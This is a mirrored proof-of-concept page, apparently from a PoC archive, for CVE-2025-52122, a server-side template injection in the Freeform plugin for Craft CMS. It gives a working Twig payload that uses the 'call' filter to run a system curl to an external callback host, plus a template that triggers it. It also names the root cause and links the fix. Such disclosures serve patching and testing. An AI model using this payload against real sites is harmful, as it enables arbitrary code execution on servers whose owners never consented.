POC详情: 971005ed0d645592e533f10113eb1205ef30044d

来源
关联漏洞
标题: Solspace Freeform plugin for Craft CMS 安全漏洞 (CVE-2025-52122)
描述:Solspace Freeform plugin for Craft CMS是Solspace开源的一款插件。 Solspace Freeform plugin for Craft CMS 5.0.0至5.10.16之前版本存在安全漏洞,该漏洞源于服务器端模板注入,可能导致任意代码执行。
描述
Arbitrary code injection in CraftCMS Freeform 5.0.0 < 5.10.16
介绍
# CVE CraftCMS Freeform

[CraftCMS Freeform](https://plugins.craftcms.com/freeform) contains an SSTI vulnerability, resulting in arbitrary code injection for all users that have access to editing a form (submission title).

Vulnerable versions are v5.0.0 < v5.10.16.

## Steps to reproduce

Create a form:

![create a form](img/create-form.png)

I created the form "pentest" here as a proof-of-concept. Next, under settings set the following submission title (change domain name to your own server):

```
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}
```

![submission title](img/submission-title.png)

This will execute an arbitrary system call. In this case, I perform a curl to a controlled server that will notify me in case there are incoming connections.
Next, include this form in a template/page and submit it:

```
<h1>test</h1>
{% set form = freeform.form('pentest') %}

{% if form %}
  {{ form.render() }}
{% else %}
  <p>Form not found.</p>
{% endif %}
```

This will have called the curl command. We can verify this by looking at the incoming HTTP request that was created:

![incoming connection](img/incoming-connection.png)

The root cause of this issue is that Freeform implements the "call" Twig filter without validating user input. This was fixed in the following [commit](https://github.com/solspace/craft-freeform/commit/06d7f1ae621f7362f39a989efc9c0c187098cf9a).
文件快照

[4.0K] /data/pocs/971005ed0d645592e533f10113eb1205ef30044d ├── [4.0K] img │   ├── [ 57K] create-form.png │   ├── [129K] incoming-connection.png │   └── [ 94K] submission-title.png └── [1.4K] README.md 1 directory, 4 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。